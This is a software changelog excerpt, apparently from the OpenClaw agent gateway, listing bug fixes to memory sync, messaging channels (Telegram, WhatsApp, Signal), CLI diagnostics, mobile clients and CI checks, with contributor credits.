• Memory-core: scan persisted memory source sessions on startup, comparing on-disk transcripts against the index and marking only missing/newer/resized files dirty for incremental sync. Fixes #82341. (#82341) Thanks @giodl73-repo.
• Telegram: keep the top-level default account in the account list when named accounts or bindings are added alongside top-level credentials, preserving default polling while still letting named-only configs resolve to a single account. Fixes #82794. (#82794) Thanks @giodl73-repo.
• CLI/models: reuse command-scoped plugin metadata across model listing, provider catalog, auth, and synthetic-auth checks, restoring fast openclaw models runs for plugin-heavy installs. Fixes #82881. (#83033) Thanks @joshavant.
• CLI/channels: show configured official external channels such as Discord in openclaw channels list when their plugin package is missing, including the install and doctor repair command instead of reporting no configured channels. Fixes #82813.
• Signal: preserve mixed-case group IDs through routing and session persistence so group auto-replies keep delivering after updates. Fixes #82827.
• Agents/tools: keep the message tool available in embedded runs when it is explicitly allowed through tools.alsoAllow or runtime tool allowlists, so channel plugins with custom reply delivery can still use configured message sends. Fixes #82833. Thanks @cn1313113.
• WhatsApp: honor forced document delivery for outbound image, GIF, and video media so forceDocument/asDocument sends preserve original media bytes instead of using compressed media payloads. (#79272) Thanks @itsuzef.
• WhatsApp: name outbound document attachments from their MIME type when no filename is provided, so PDF and CSV sends arrive as file.pdf and file.csv instead of an extensionless file. Thanks @mcaxtr.
• Process/diagnostics: report active lane blockers in lane wait warnings so queueAhead=0 no longer hides commands waiting behind active work. Fixes #82791. (#82792) Thanks @galiniliev.
• Process/diagnostics: stop counting the active processing turn as queued backlog in liveness warnings so transient max-only event-loop spikes do not surface as gateway warnings.
• Agents/replies: classify provider conversation-state rejections and return a clear message-channel error instead of auto-resetting or falling back to a generic runner failure. (#82616) Thanks @dutifulbob.
• Browser plugin: trust managed Chrome CDP diagnostics when launch HTTP probes race cold-start readiness, avoiding false startup failures. Fixes #82904. (#82986) Thanks @kmanan and @hclsys.
• Android: prompt before replacing a changed Gateway TLS thumbprint, showing the old and new SHA-256 fingerprints so users can accept expected certificate rotations instead of hard failing on pin mismatch. (#83077) Thanks @sliekens.
• CLI/status: render extra gateway-like service diagnostics as warning/info output instead of error output. Fixes #46930. (#82922) thanks @giodl73-repo.
• Agents/failover: classify Moonshot/Kimi exhausted-balance HTTP 429 payloads as billing instead of generic rate limits, preserving billing guidance and fallback behavior. Fixes #43447. (#83079) Thanks @leno23.
• Plugin SDK: bundle openclaw/plugin-sdk/zod into the published package artifact and verify the packed zod subpath stays self-contained, so pnpm global installs can register plugins without a package-local zod symlink. Fixes #78398. (#78515) Thanks @ggzeng.
• Providers/Google: drop compaction-truncated Gemini thought signatures before replay so malformed Base64 no longer aborts the next assistant turn. (#82995) Thanks @wAngByg.
• Gateway/mobile: allow paired iOS and Android clients to refresh same-family OS metadata on authenticated reconnect instead of requiring a new approval. (#83490) Thanks @ngutman.
• WhatsApp: treat upload-file as a supported media send intent by lowering path/URL uploads through the channel's normal send-media transport. (#81883) Thanks @ngutman.
• iOS: end Live Activities when OpenClaw is connected, idle, or disconnected, and show compact attention states for approval-required reconnects. (#83597) Thanks @ngutman.
• Control UI: hide child nav items when collapsing the active sidebar group. Fixes #42167. (#42223) Thanks @Aroool.
• CI/proof: skip the real-behavior-proof gate for private org maintainers by minting a least-privilege (members: read) GitHub App token and checking active membership in the maintainer team, instead of treating author_association=CONTRIBUTOR as definitively external. (#83418) Thanks @RomneyDa.